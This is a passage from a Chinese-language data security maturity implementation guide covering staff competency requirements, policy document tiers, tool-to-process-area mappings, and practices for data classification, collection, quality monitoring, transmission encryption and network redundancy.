具备与国家单位、行业监管机构及合作伙伴之间的沟通协调能力,能利用外部资源协助组织数据 安全体系的建设; M11 具备良好的数据安全风险意识。 7.2 数据安全运营能力 数据安全建设是一个长期持续的过程,需要在组织内持续性的落实数据安全的相关制度和流程,并基 于组织的业务变化和技术发展不断的调整和优化,安全也是一个不断螺旋上升的过程,因此需要做好数据 安全运营工作。数据安全运营包含以下能力: O1 具备数据安全策略、制度规程及技术工具在组织内部的推广落地能力; O2 具备利用相关技术工具,对组织业务运营过程中的数据安全风险进行监测、识别、预警和处置的 能力; O3 具备对组织现有数据安全控制措施的有效性进行识别和判断的能力; O4 具备对员工进行数据安全培训和安全意识教育的能力。 7.3 数据安全技术能力 数据安全的实现,需要技术和工具平台的支撑,来完成安全管控措施的构建,从而实现数据安全能力 的建设。数据安全技术目前正在逐步更新和迭代,在大数据环境下,要求组织内从事数据安全领域的技术 人员具备以下能力: T1 熟悉国内外主流的数据安全产品和工具,如数据防泄漏(DLP)、脱敏工具、数据溯源、加密平台 等,能准确判断当前组织所需的最佳实践,并深入和落地应用; T2 在数据安全全生命周期中,能评估潜在数据安全风险,如数据业务风险、数据风控风险、隐私保 护风险等,并能制定有效、合理降低数据风险的解决方案或者措施; T3 在数据安全架构设计时,能够贴合业务和合规场景,覆盖数据在全生命周期中的保护; ! 13! T4 能对敏感数据流动做好审计工作,具备风险排查能力,快速处置数据的篡改和泄露等风险;! T5 能对当前数据安全体系进行技术验证,如白盒、灰盒和黑盒等安全测试和对抗,从而让数据安全 防御形成一个持续迭代更新的良性循环系统;! T6 需要自研或平台型的组织,应熟悉数据安全技术发展,了解国内外前沿的数据安全和隐私保护技 术,如加密技术、差分隐私和 UEBA 等,能在恰当时期引入组织需要的技术,从而降低数据安全 和隐私保护的风险。 7.4 数据安全合规能力 在数据安全领域,国内外越来越多的法律法规、标准逐步出台,如《网络安全法》、《个人信息保护法 (草案)》、欧盟《一般数据保护条例(GDPR)》等,合规工作成了数据安全领域建设的底线。如何保障合 规要求准确识别,并形成内部规章指导合规落地工作,主要具备的能力包括: C1 熟悉国内外数据安全和隐私保护的法律、政策和行业标准,并精通适用于本组织业务开展所必须 遵守的法律、政策和标准内容; C2 能够依据外部合规要求,建立覆盖组织的数据安全和隐私保护的管理体系和机制,并推动多方参 与,落地执行; C3 能够与组织内采购、供应商管理以及法律等部门合作,确保合作伙伴执行统一的标准,使得合同 和操作层面的协议、数据安全和隐私保护管理计划,符合国内外数据安全政策与法规要求; C4 能够与业务、法务和风险等部门协作,发现的隐私合规问题,并制定纠正措施和计划,定期进行 评审。 7.5 人员能力与组织架构的映射 考虑到数据安全组织架构中各个层级能力要求会有侧重和交叉,用下图来表示他们之间映射关系: 表1:人员能力与组织架构映射关系 组织架构 管理能力 运营能力 技术能力 合规能力 策略层 M1、M2、M3、M6、M7、M10 O1 T2、T3 C1、C2、 ! 14! 管理层 M1、M2、M3、M4、M5、M6、 M7、M8、M9、M11 O1、O4 T1、T3 C1、C2、C3、C4 执行层 (运营) M1、M6、M8、M9、M11 O1、O2、O3、 O4 T1、T2、T3、T4 C1、C4 执行层 (技术) M1、M6、M8、M9、M11 O2、O3 T1、T2、T3、T4、T5、 T6 C1、C4 监督层 M1、M2、M3、M4、M5、M6、 M7、M8、M9、M11 O3、O4 T1、T4、T5 C1、C4 员工、 合作伙伴 M11 / / / ! 8 数据安全制度流程 8.1 制度体系架构设计 制度流程需要从组织层面整体考虑和设计,并形成体系框架。制度体系需要分层,层与层之间, 同一层不同模块之间需要有关联逻辑,在内容上不能重复或矛盾。一般按照分为四级: 图 3 数据安全制度体系层级 ! 15! 可以形成一份单独的文档,以图或表形式描述数据安全制度体系结构,对每一份制度文件给予编 号和层级标识,具体编号和层级定义方式根据实际情况自定义,以便于索引和维护。 常见格式如下: 表 2:数据安全制度体系列表示意 编号 名称 层级 相关文件 版本 最新修订日期 DS-01-001 数据安全总纲 1 DS-02-001 数据资产管理 2 DS-02-002 系统资产管理 2 DS-02-003 数据质量管理 2 DS-02-004 数据安全人才管理 2 DS-02-005 …… 2 DS-02-006 …… 2 DS-03-001 数据采集管理规范 3 DS-03-002 数据传输管理规范 3 DS-04-001 数据脱敏规范 3 DS-04-002 日志管理规范 3 …… …… 硬盘销毁操作指南 3 XXX 作业指导书 3 公共硬盘借用记录表 4 XXXX 模板 4 …… …… ! 16! 图 4:数据安全制度体系架构 8.2 制度体系架构说明 8.2.1 一级文件 方针和总纲是面向组织层面数据安全管理的顶层方针、策略、基本原则和总的管理要求等,主要内容 包括但不限于: 1) 数据安全管理的目标、愿景、方针等; 2) 数据及数据资产定义:比如定义组织内数据包含哪些内容和类别,信息系统载体等; 3) 数据安全管理基本原则:比如数据分类分级原则、数据安全和业务发展匹配原则、数据安全管理 方针和政策等; 4) 数据生命周期阶段划分和整体策略,比如:数据产生、数据存储、数据传输、数据交换、数据使 用、数据销毁等。 5) 数据安全违规处理:比如违规事件及其等级定义,相应处罚规定等; 8.2.2 二级文件 数据安全 总纲 数据采集 采集流程及规范 采集指南或checklist 采集相关模板 采集报告 数据存储 数据传输 …… …… …… 数据使用 …… …… …… …… …… …… …… 日志管理 …… …… …… 安全审计 …… …… …… 数据资产 管理 安全合规 管理 数据分类 分级管理 数据质量 管理 数据安全 人才管理 ! 17! 数据安全管理制度和办法,是指数据安全通用和各生命周期阶段中某个安全域或多个安全域的规章制 度要求,比如: 通用安全域:数据资产管理、数据质量管理、数据安全合规管理、系统资产管理,等等。 数据生命周期各阶段:数据采集安全管理、数据存安全管理、数据传输安全管理、数据交换安全管理、 数据使用安全管理、数据销毁安全管理,以及某个安全域的安全管理要求,等等。 8.2.3 三级文件 数据安全各生命周期及具体某个安全域的操作流程、规范,及相应的作业指导书或指南,配套模板文 件等。 在保证生命周期和安全域覆盖完整的前提下,可以根据实际情况整合流程和规范的文档数量,不一定 每个安全域或者每个生命周期阶段都单独建立流程和规范。数据安全操作指导书或指南,是对数据安全管 理流程和规范的解释和补充,以及案例说明等文档,以方便执行者深入理解和执行;并非强制执行的制度 规范,仅供参考。 数据安全模板文件是与管理流程、规范和指南相配套的固定格式文档,以确保执行一致性,以及数据 或信息的汇总统计等。比如,权限申请和审批表模板,日志存储格式模板,等等。有条件的情况下,一般 都通过技术工具实现。 8.2.4 四级文件 指执行数据安全管理制度产生的相应计划、表格、报告、各种运行/检查记录、日志文件等,如果实 现自动化,大部分可通过技术工具收集到,形成相应的量化分析结果,也是数据的一部分。 9 数据安全技术工具 9.1 技术工具架构设计 数据生命周期中所有安全域涉及到的技术工具,可以是独立的系统平台、工具、功能或算法技术等, 在规划设计时不用单独针对某个安全域,需要整体考虑。尤其涉及到通用的技术工具,需要整合,且和组 织的业务系统和信息系统等进行衔接。 围绕组织业务系统和数据流,技术工具整体设计框架参考如下图: ! 18! 图5:技术工具架构图 ! 19! 数据安全技术工具和各个安全域对应关系如下表: 表3:技术工具和PA对照表 阶段 技术工具 涉及 PA 安全域 通用 账号管理平台 PA1-PA27 编号 安全域 PA01 数据分类分级 PA02 数据采集安全管理 PA03 数据源鉴别及记录 PA04 数据质量管理 PA05 数据传输加密 PA06 网络可用性管理 PA07 存储介质安全 PA08 逻辑存储安全 PA09 数据备份和恢复 PA10 数据脱敏 PA11 数据分析安全 PA12 数据正当使用 PA13 数据处理环境安全 PA14 数据导入导出安全 PA15 数据共享安全 PA16 数据发布安全 PA17 数据接口安全 PA18 数据销毁处置 PA19 介质销毁处置 PA20 数据安全策略 PA21 人力资源安全 PA22 合规管理 PA23 数据资产管理 PA24 数据供应链安全 PA25 元数据安全 PA26 终端数据安全 PA27 监控与审计 权限管理平台 PA1-PA27 流程审批平台 PA1-PA27 数据资产管理平 台 PA1-PA27 监控/审计平台 PA1-PA27 日志管理平台 PA1-PA27 数据供应链管理 平台 PA1-PA05,PA14-PA19 数据安全门户 PA1-PA27 元数据管理平台 PA1-PA27 数据血缘管理 PA1-PA27 数据质量监控 PA1-PA17,PA23-PA25 安全合规管理 PA02、PA16、PA22 数据采集 数据分类分级 PA01 数据源认证 PA02、PA03 数据传输 加密技术 PA05 脱敏技术 数据存 储 加密技术 PA07、PA08、P09 密钥管理 PA07、PA08 备份/恢复 PA09 数据处理 加密技术 PA10-PA14 脱敏技术 数据交换 数据接口管理 PA17 数据交换监控 PA14-PA16 数据销毁 数据清理/销毁 PA18 介质清理/销毁 PA19 ! 20! 9.2 技术工具架构说明 9.2.1 业务系统 业务系统是组织业务运行的信息系统,包括前台应用、后台数据库和管理平台等等,支撑数据从采集、 存储、传输、处理、交换到销毁整个生命周期过程,几乎所有数据安全的技术工具都要对接并运用在这些 信息系统上。 9.2.2 通用技术工具 通用技术工具是指所有或绝大部分生命周期阶段(或安全域)都要用到的技术工具,或者是数据安全 管理的基础平台,或者是整合数据安全管理信息和入口的门户网站等。比如身份和权限控制平台,所有业 务系统和管理平台要接入进行统一控制;日志管理平台,需要从所有业务系统和管理平台采集系统和访问 者操作日志,并统一日志规范以方便后续监控和审计。 9.2.3 各阶段技术工具 各阶段技术工具,仅部分生命周期阶段(或安全域)适用的技术工具,或者是一些单独的算法技术和 功能模块,只对接或应用到部分信息系统和管理平台。比如数据分分级打标工具,对数据资产进行打标; 比如数据安全接口管理,对数据库接口调用安全进行管理;比如加密技术,脱敏技术,应用在数据存储和 传输等过程。 10 数据安全域实施指南 该章节将结合制度流程和技术工具整体规划设计和实施要求,对数据生命周期每一个安全域充分定义 级(三级)的背景目标和实践要求进行解读,并给出一些实施指南和案例参考。 10.1 数据采集安全 10.1.1 PA01 数据分类分级 10.1.1.1 过程域设定背景和目标 ! 21! 大数据应用在不断发展创新的同时,由于数据违规收集、数据开放与隐私保护相矛盾以及粗放式“一 刀切”管理方式等给大数据应用的发展带来严峻的安全挑战。大数据资源的过度保护不利于大数据应用的 健康发展,数据分类分级的安全管控方式能够避免“一刀切”带来的问题,通过对数据进行分类分级,实 现数据资源的精细化管理和保护,确保数据应用和数据保护的有效平衡。 10.1.1.2 过程域具体标准要求解读 l 制度流程: ——数据资产的分类分级管理包括两个层面:首先需要先制定组织机构层面的数据分类分级原则 和要求,如按照数据的重要程度进行分类,在数据分类基础上根据数据损坏、丢失、泄漏等 对组织造成形象损害或利益损失程度进行数据分级等;其次在组织机构总体分类分级的原则 下,可针对具体关键业务场景制定数据分类分级的实施细则,这里的数据分类分级应包含有 业务属性; ——数据分类分级目的是为了对数据采取更合理安全管理和保护,需要对分类分级的数据进一步 制订具体的保护细则,包括对不同级别的数据进行标记区分、明确不同数据的访问人员和访 问方式、采取的安全保护措施(如加密、脱敏等); ——数据分类分级的建立及变更审核流程,是指在具体数据分类分级应用场景中对数据分类分级 的执行过程、结果确认及分类分级的变更等过程需要明确详细的操作流程及相关的审核机制, 避免出现与分类分级原则和制度不符合的情况发生。 l 技术工具: 数据分类分级工具:通过对识别的数据资产进行分类分级,针对不同级别的数据进行策略设 置,以实现敏感数据的识别和跟踪管理。数据分类分级一般包括主要功能: ——支持多种敏感数据识别模式,包括预定义模式、自定义模式、相似数据发现模式等; ——支持常见的敏感数据类型发现能力,包括姓名、电话号码、邮箱、身份证号码、银行卡号、 住址等; —— 支持对数据进行自定义分类和分级,用户可通过编写不同的识别规则如正则表达、关键字匹 配等来识别自定义的敏感数据; —— 支持相似性敏感数据发现功能,通过对已指定的部分样本数据进行机器学习,从而对其它类 似数据进行分类分级; ——支持对识别数据进行标记的管理,包括标记自定义、标记设置、标记变更等功能; ——应包括数据分类分级的操作、变更过程进行日志的记录和分析功能; 10.1.1.3 过程域充分定义级实施指南 ! 22! l 制度流程参考: 数据分类分级实施建议: 数据分类分级在具体执行过程中,应综合考虑数据分类分级粒度对数据生命周期各阶段 的实现过程的影响,包括人员能力、工具实现等情况,建议多次逐步递进的惯例,不要 求一步到位;过度复杂的分类分级方案可能对使用来说不方便和不经济,或许是不实际 的; 在数据分类时应防止出现分类重复或交叉的情况,可以根据业务数据特点分成几个大类, 对于较复杂的数据场景还可以对大类进一步细化二级分类; 数据分级可根据数据的保密性、完整性和可用性这三个安全目标进行分级,也可依据数 据受到破坏后产生的潜在影响进行分级; 案例:《xx组织数据分类分级实施指引》关键内容: 数据范围 数据分类分级角色和职责 数据分类的原则 数据分类分级方法 数据分类、数据分级 建立数据分类分级清单 数据生命周期的保护机制 数据分类分级的关键问题处理 l 技术工具参考: 标签库:根据分类分级规则,建立标签库;可以单独成一个静态库,也可以直接在打标 工具/系统后台进行配置; 结构化数据打标:用户在建表时对字段标签直接进行设置,基于数据库的权限模型对底 层数据表的列权限控制; 非机构化数据打标:引入自然语言处理、数据挖掘和机器学习进行等技术,对内容识别 并实现数据分类分级。比如文本识别的机器学习过程: 标注:利用人工对一批文档进行了准确分类,以作为训练集(进行机器学习的材料); 训练:计算机从这些文档中挖掘出一些能够有效分类的规则,生成分类器(总结出的规 则集合); 分类:将生成的分类器应用在有待分类的文档集合中,获取文档的分类结果。由于机器 学习方法在文本分类领域有着良好的实际表现,已经成为了该领域的主流。 ! 23! l 标准参考: ——DB 52/T 1123—2016《政府数据 数据分类分级指南》 10.1.2 PA02 数据采集安全管理 10.1.2.1 过程域设定背景和目标 数据采集过程中涉及包括个人信息及商业数据在内的海量数据,现今社会对于个人信息和商业秘密的 保护提出了很高的需求,需要防止个人信息和商业数据的滥用,采集过程需要信息主体授权,并应当依照 法律、行政法规的规定和与用户的约定,处理其相关数据;另外还应在满足相关法定的规则的前提下,在 数据应用和数据安全保护间寻找适度的平衡。 10.1.2.2 过程域具体标准要求解读 l 制度流程: ——建立数据采集安全合规管理规范:明确数据采集的目的、用途、方式、范围、采集源、采集 渠道等内容,对外部数据提供方及被采集者提供的数据进行合法性和正当性的确认,必须满 足相关法律法规要求; ——建立数据采集的风险评估流程:明确数据采集的风险评估方法、评估周期、评估对象,识别 相关的法律法规并纳入合规评估,如是否符合《网络安全法》、《个人信息安全规范》等国家 法律法规及行业规范; ——数据采集过程的数据保护:明确数据采集过程中的个人信息和重要数据的安全控制措施,如 采取数据脱敏、数据加密、链路加密等,确保数据在采集过程中的个人信息和重要数据不被 泄漏。 l 技术工具: ——部署数据采集系统或相关工具,设置统一的数据采集策略(如采集周期、频率、采集内容等) 对数据进行采集,保证数据采集流程实现的一致性;并且在采集过程中对被采集方授权同意 采集的过程和信息进行日志记录; ——实施数据采集过程的数据防泄漏安全技术措施:如采集数据的加密、采集链路加密、敏感信 息和字段的脱敏、权限的访问控制等,这些措施一般是指在采集后传输、存储等过程中的安 全保护,可参考其它安全相关安全域的工具实现; 10.1.2.3 过程域充分定义级实施指南 l 制度流程参考: ! 24! 案例:《xx组织数据采集安全合规管理规定》关键内容: 数据采集规则:采集目的、采集用途、采集方式、采集范围 采集岗位职责:负责采集相关工作的岗位和职责 数据采集评估:风险评估方法、评估周期、评估对象、整改要求等 采集过程保护:防护数据类型、安全措施、审计要求等 合规性说明:相关法律法规和监管要求 l 标准参考: 暂无 10.1.3 PA03 数据源鉴别及记录 10.1.3.1 过程域设定背景和目标 数据源鉴别是指对收集或产生数据的来源进行身份识别的一种安全机制,防止采集到其它不被认可的 或非法数据源(如机器人信息注册等)产生的数据,避免采集到错误的或失真的数据;数据源记录是指对 采集的数据需要进行数据来源的标识,以便在必要时对数据源进行追踪和溯源。 10.1.3.2 过程域具体标准要求解读 l 制度流程: ——数据源管理制度规范需要包含两个方面的内容:一是要对数据采集来源的管理,包括采集源 识别和管理、采集源的安全认证机制、采集源安全管理要求等内容;二是对针对采集的数据 在数据生命周期过程中进行数据溯源的管理,把数据流路径上的每次变化情况保留日志记录, 保证结果的可追溯,以及数据的恢复、重播、审计和评估等功能; l 技术工具: ——针对采集的数据识别和记录工具:如元数据管理、数据血缘管理等工具对采集数据进行数据 采集来源的标识 ——针对数据采集源(人员、终端、数据库等)识别和记录的工具:如身份鉴别机制、指纹识别等 技术防止数据采集点的仿冒或伪造。 10.1.3.3 过程域充分定义级实施指南 l 制度流程参考: ! 25! 本安全域的制度流程可与其它安全域的制度相整合,如数据源的鉴别认证相关要求可与数据采集安全 管理相关制度进行整合编写;溯源数据存储可以在数据存储管理制度中。 l 技术工具实施参考: 数据血缘管理工具:数据从源到目的地, 经过大量的功能模块的处理和传递,呈现在业务用户面前, 很多时候需要对数据的来龙去脉进行分析 。 例如两个数据报表进行对比,结果差异很大,需要人工核对 分析指标的维度信息,分析数据指标从哪里来,处理条件是什么,最后才能分析出问题原因。 又如基础 数据表因某种原因需要修改字段时 ,需要评估其对数仓的影响。 通过元数据管理以历史事实的方式记录 每项数据的来源,处理过程,应用对接情况等,记录了数据表在治理过程中的全链血缘关系,基于这些血 缘关系信息,可以进行影响分析,以数据流向为主线的血缘追溯等功能。 血缘关系图示例: 图6:数据血缘中表级上下游关系图 图7:数据血缘中作业级上下游关系图 10.1.4 PA04 数据质量管理 10.1.4.1 过程域设定背景和目标 数据安全保护的对象是有价值的数据,而有价值的前提是数据质量要有保证,所以必须要有数据质量 相关的管理体系。本安全域设置目是保证对数据采集过程中收集和产生的数据的准确性、一致性和完整性。 10.1.4.2 过程域具体标准要求解读 ! 26! l 制度流程: ——定义什么是“数据质量”,数据质量的属性一般包括一致性、完整性、准确性和失效性等; ——数据质量校验方法,比如校验的层次(人工比对/程序比对/统计分析等)和校验方法(时效 性/完整性/原则性/逻辑性等) ——数据质量管理实施流程,比如在产品研流中植入数据质量控制手段,涉及需求、系统设计、 开发、测试、发布及运维; ——数据采集质量管理规范,包含数据格式要求、数据完整性要求、数据质量要素、数据源质量 评价标准; l 技术工具: ——对数据资产进行等级划分,具体打标规则和方法等见数据分类分级和元数据管理等安全域有 更详细介绍; ——在线数据质量监控,比如针对业务数据库实时产生的数据; ——离线数据质量监控,比如针对数据仓库或数据开发平台的离线数据; ——数据质量事件处理流程,根据监控结果一旦发现数据质量异常进行及时告警和上报,并及时 采取更正等处理措施。 10.1.4.3 过程域充分定义级实施指南 l 制度流程参考: 案例1:《XX集团数据质量管理规范》关键内容: 术语定义:数据/元数据/数据质量/数据质量问题 数据质量管理规范:职责要求/度量与标准/控制流程(需求-设计-开发-测试-发布) 数据订正规范:需求-方案-审批-执行-验证 数据质量事件处理:定级和分类/原因分类/产生环节/处理流程 数据质量审计:审计流程/审计内容 违规责任:违规分级/责任和处罚 案例2:《xxx组织数据质量管理讲座》关键内容: 数据质量问题分析 数据质量方法论 数据质量保证成功因素 数据质量案例分析 ! 27! l 技术工具实施参考: 离线数据质量监控:对离线数据库数据表进行校验,比如表行数/主键监控/波动检测/业务逻辑等。可 以考虑基于数据库单表的记录生命周期时效性态监控,或全量表间记录同步核对监控:如上游系统A表数 据应在下游系统有B表数据对应。 案例1:XXX离线数据监控: 监控粒度:针对表的分区进行配置,分区是依附于表;监控可以设定在任务粒度或SQL 粒度,任务粒度表示只有当整个任务的脚本都运行结束后监控规则才会运行;SQL粒度 则是一段SQL执行完毕若生成的表配有监控,则运行; 监控规则:配置的规则是数据的正向期望,即希望数据是什么样的就怎么配置规则, 如希望数据的分组不能超过2,所以配置<=2; 运行时间:将直接反映在任务的总运行时间中,监控可以在表创建15分钟后配置。 触发机制:监控的分区生成或更新时; 目前离线数据质量主要有波动值检测和固定值比较两种校验方式。 表 4:离线数据质量校验方式 校验方法 校验逻辑 波动值校 验 1. 如果校验值的绝对值小于或等于橙色阈值,则返回正常。 2. 如果校验值的绝对值不满足第一种情况,且小于或等于红色阈值,则返回橙色报 警。 3. 如果校验值不满足第二种情况,则返回红色报警。 4. 如果没有橙色阈值,则只有红色报警和正常两种情况。 5. 如果没有红色阈值,则只有橙色报警和正常两种情况。 6. 两个都不填,则红色报警(前端会禁止两个阈值不填的情况)。 固定值比 较 1. 根据校验的表达式,计算 s opt expe c t,返回布尔值,opt 支持大于、小于、 等于、大于等于、小于等于、不等于。 2. 根据上式的计算结果,如果为 true,返回正常,否则返回红色报警。 常见的监控规则说明: 表5:离线数据质量常见监控规则设置示例 ! 28! 模板 级别 模板名称 说明 1 字段平均值,相比 1 天、1 周、1 个月前波动率 取该字段的平均值,同 1 天,7 天,一个月周期比较, 计算波动率,然后与阈值比较,只要有一个报警就报 警出来。 2 字段汇总值,相比 1 天、1 周、1 个月前波动率 取该字段的 sum 值,同 1 天,7 天,一个月周期比较, 计算波动率,然后与阈值比较,只要有一个报警就报 警出来。 3 字段最小值,相比 1 天、1 周、1 个月前波动率 取该字段的最小值,同 1 天,7 天,一个月周期比较, 计算波动率,然后与阈值比较,只要有一个报警就报 警出来。 4 字段最大值,相比 1 天、1 周、1 个月前波动率 取该字段的最大值,同 1 天,7 天,一个月周期比较, 计算波动率,然后与阈值比较,只要有一个报警就报 警出来。 5 字段唯一值个数 去重之后的 count 数与一个期望数字进行比较,即固 定值校验。 6 字段唯一值个数,相比 1天、 1 周、1 个月前波动率 去重之后的 count 数,同 1 天,1 周,1 个月作比较, 即固定值校验 7 表行数,相比 1 天、1 周、1 个月前波动率 同 1 天、一周、一月前采集的表行数作比较,对比波 动率。 8 字段空值个数 去该字段的空值数与固定值比较。 9 字段空值个数 / 总行数 空值个数与行总数,计算得到一个比率,与一个固定 值做比较,注意:该固定值是一个小数。 10 字段重复值个数 / 总行数 重复值个数与总行数的比率与一个固定值做比较。 在线数据监控:首先根据线上业务逻辑制定产生数据的监控规则,通过接收实时消息进行相关的规则 校验,抓取线上脏数据并进行报警,并及时处理。下图为某在线业务数据质量监控平台实现流程: ! 29! 图8:某在线业务数据质量监控实现流程 10.2 数据传输安全 10.2.1 PA05 数据传输加密 10.2.1.1 过程域设定背景和目标 数据在通过不可信或者较低安全性的网络进行传输时,容易发生数据被窃取、伪造和篡改等安全风险, 因此需要建立相关的安全防护措施,保障数据在传输过程中的安全性,而加密是保证数据安全的常用手段。 本过程域的设定,即要求建立相关加密措施来保障数据在传输过程中的机密性、完整性和可信任性。 10.2.1.2 过程域具体标准要求解读 该过程域要求组织机构采用适当的加密保护措施,确保数据在传输过程中的安全性。然而对数据进行 加密传输会消耗系统资源,降低数据传输接口的吞吐量和响应速度,增加使用成本。同时采用不同的加密 算法和使用不同强度的密钥,也会导致系统开销的差异化,带来不同的使用成本。因此组织需要对使用加 密传输的业务场景以及使用的加密传输方式进行明确定义,并建立相关的技术工具。 l 制度流程: ——根据国家法律法规的要求,以及所属行业监管部门的要求,结合自身业务数据对保密性和完 整性的需求,来确定需要加密传输的场景,通常情况下,凡是涉及到国家重要信息、企业机 密信息和个人隐私信息的数据传输场景,都应进行加密传输。 ——在做好数据分类分级的工作的基础上,进一步在制度中明确不同安全级别数据的加密传输要 求,包括采用的算法要求和密钥的管理要求。即明确什么安全级别的数据,应采用什么加密 算法(国密算法还是国际算法,对称加密算法还是非对称加密算法),应使用多少加密强度 的密钥,密钥的有效期是多久(多长时间需要更换加密密钥)等。 l 技术工具: ——要求在建立传输加密通道前,对两端的主体身份进行鉴别和认证,确保数据传输双方是可信 ! 30! 任的。 ——针对需要加密的场景确定加密的方案,通过加密产品或工具落实制度规范所约定的加密算法 要求和密钥管理要求,确保数据传输过程中机密性和完整性的保护,同时加密算法的配置、 变更、密钥的管理等操作过程应具有审核机制和监控手段。 ——需要有完整的密钥管理系统,实现对密钥生命周期的安全管理。 总体来讲,是需要通过加密传输达到以下目的: ——机密性:只有自己和允许的人才能看到或看懂数据; ——完整性:数据在传输过程中没有被破坏或篡改; ——可信任性:确保消息是对方发的,不是伪造者发的。 10.2.1.3 过程域充分定义实施指南 组织首先应明确需要进行加密传输的场景,并非所有的数据都需要进行加密传输,通常需要进行加密 传输的数据包括但不限于系统管理数据、鉴别信息、重要业务数据和重要个人信息等对机密性和完 整性要求较高的数据。这些数据在以下场景下传输时应考虑加密方式传输: ——通过不安全或者不可控的网络进行数据传输的,例如互联网、政务外网等。 ——从高安全等级区域经过低安全等级区域向高安全等级区域传输的。 ——在等保定级为三级或三级以上信息系统中传输的。 在定义好需要加密的场景后,组织应选择合适的加密算法对数据进行加密传输,在数据传输场景中主 要用到的加密算法有对称加密算法、非对称加密算法和哈希算法。 对称加密算法:对称加密算法的基本特征是用于加解密的密钥相同,且加密的操作是可逆的。即通过 同一把密钥将明文数据变成密文数据,同时可以用同一把密钥将密文数据还原成明文数据,主要用来实现 数据传输的机密性保障。对称加密算法的优点是算法简单、计算量小、加密速度快、加密效率高,适合加 密大量数据。缺点是密钥管理不方便,传输双方之间需要共享密钥,随着网络规模的增大密钥会越来越多, 管理会越来越困难,其次因为使用同一把密钥进行加解密,传输双方的密钥共享过程也存在风险,密钥可 能会被窃取。目前主要的对称加密算法有:DES、IDEA、AES、SM1(国密算法)等 非对称加密算法:非对称加密算法(也叫公钥密码算法)加密密钥和解密密钥不同,由加密密钥很难 (基本不可能)推导出解密密钥。一个密钥可以公开,称为公钥,另一个密钥只有自己知道,称为私钥。 用公钥加密的内容只能由相应的私钥来解密,反过来,用私钥加密的内容只能由相应的公钥来解密。对称 加密算法可用于解决数据传输机密性保障(用公钥加密数据,用私钥解密数据),同时也可用于身份的确 认(用私钥加密数据,公钥解密数据),因为私钥是不公开且被用户个人保护的,因此一个加密数据能用 谁的公钥解密,就可以认为是该用户发送的信息。非对称加密算法的优点是密钥管理很方便,由于一个密 钥可公开,很好解决了对称加密算法密钥传递的问题。缺点是计算复杂、消耗资源大,加密速度慢。常用 ! 31! 的非对称加密算法有RSA、ECC、SM2(国密算法)。 为了方便传递公钥私钥,一般把它存储在数字证书中, 为了保证证书的可信性,一般由专业第三方证书机构颁发。 哈希算法:哈希算法是一种单向函数,其特点是正向计算很容易,而反向计算非常困难。通过哈希算 法将任意长度的数据映射成为固定长度的输出,输出称作哈希值,不同数据通过哈希函数计算后会得出不 同的哈希值,通过哈希值的比对可以判断数据是否被修改过,可用于数据完整性校验。哈希函数主要有MD5、 SHA等算法。 在实际的加密传输场景中,我们通常采用了以上算法的组合,来实现对数据传输过程的机密性和完整 性保护,通常较多的采用建立VPN加密传输通道、使用SSL/TLS加密传输协议等技术方式来实现,这些技术 普遍采用非对称加密来建立连接,确认双方的身份并交换加密密钥,用对称加密来传输数据,并用哈希算 法来保障数据的完整性。这样既保证了密钥分发的安全,也保证了通信的效率。 由于目前加密技术的实现都依赖于密钥,因此对密钥的安全管理是非常重要的环节。只有密钥安全, 不容易被敌方得到或破坏,才能保障实际传输中加密数据的安全,密钥管理系统就是为解决密钥的安全管 理问题,实现对密钥生命周期的安全管理。密钥管理系统主要解决如何在不安全的环境下,为用户分发密 钥信息,使得密钥能够安全、准备并有效的使用,并在安全策略的指导下处理密钥自产生到最终销毁的整 个过程。 最后,对于负责加密策略配置以及密钥系统管理的人员,必须有一个审核监督机制,确保其加密算法 的配置和变更都是得到授权和认可的,目前通常采用堡垒机的方式进行监督管理。即要求管理人员通过堡 垒机来操作对传输加密策略的配置和密钥管理系统的管理操作,堡垒机可以在用户执行这些操作的时候对 他的操作情况进行记录,以便后期审核,同时可规定执行哪些操作需要相关人员的授权和确认。 10.2.2 PA06 网络可用性管理 10.2.2.1 过程域设定背景和目标 数据在网络传输过程中依赖网络的可用性,一旦发生网络故障或者瘫痪,数据传输也会受到影响甚至 中断。本过程域的设定,即要求建设高可用性的网络,从而保证数据传输过程的稳定性。 10.2.2.2 过程域具体标准要求解读 该过程域要求组织机构采取适当的措施,确保关键业务网络的高可用,并在技术工具维度进行了指导 建议,一是对关键业务网络的传输链路、网络设备节点进行冗余建设。二是借助负载均衡、防入侵攻击等 安全设备来降低网络的可用性风险。 10.2.2.3 过程域充分定义实施指南 ! 32! 网络节点与网络链路的故障无法完全避免,所以提升网络可用性的重要方法之一是尽量降低系统的故 障恢复时间,而通过冗余配置,将发生故障的网络设备或系统切换至备用的设备或系统上,是恢复业务的 最快方式。 可用性考核指标: 表6:网络可用性常见考核指标参考 要求 指标说明 建议要求指标 单次最长故障时间 单次最长的非计划性不可用时间 <1h 重大事件发生次数 发生重大事件的数量 <2/年 网络可用性 在整个系统的运行时间内,正常事件占全部 运行事件的比例 >=99.5%(运行时间按5*8或 7*24计算) 系统冗余建设通常有以下几种方法: 1) 硬件冗余: a) 电源冗余:核心层设备上采用双电源冗余,由芯片控制电源进行负载均衡。 b) 引擎冗余:核心路由器、交换机等重要网络设备使用具备双引擎设备。 c) 模块冗余:核心关键设备需要进行1:1的模块冗余,即每个接口需要一个备份接口,每个模 块需要一个备份模块。 d) 设备堆叠:使用堆叠技术实现单交换机端口的扩充。 e) 链路冗余:为上层的冗余设备架设物理上的链接,在冗余网络中,还需要通过二层STP算法 或三层动态路由协议实现将特定的端口阻塞或不转发流量,来实现既没有环路也可以冗余的 网络。 f) 设备冗余:核心或出口设备上采冗余备份设计。由各设备HA控制流量进行负载均衡。 g) 负载均衡:使用负载均衡技术将特定的业务(网络服务、网络流量等)分担给多个服务器或网 络设备。 2) 软件冗余: a) 链路捆绑技术:把多条独立的网络链路捆绑成为一条单独的逻辑链路,一条链路失效,流量 可以在剩下的链路上继续传输。 3) 路由冗余: a) VRRP:采用虚拟路由冗余协议(VRRP,Virtual Router Redundancy Protocol),可解决局 域网中配置静态网关出现单点失效现象的路由协议。 b) 动态路由协议:网络中使用RIP、OSPF等动态路由协议,实现网络路由的冗余备份,当一个 主路由发生故障后,网络可以自动切换到它的备份路由实现网络的连接。 l 标准参考: ! 33! ——GB∕T 25068.1-2012《信息技术 安全技术 IT 网络安全 第 1 部分:网络安全管理》第 13.4 节“网络安全管理” 10.3 数据存储安全 10.3.1 PA07 存储介质安全 10.3.1.1 过程域设定背景和目标 数据存储在介质上,比如物理实体介质(磁盘/硬盘/),虚拟存储介质(容器/虚拟盘)等,对介质的 不当使用及其容易引发数据泄露风险。 10.3.1.2 过程域具体标准要求解读 l 制度流程: 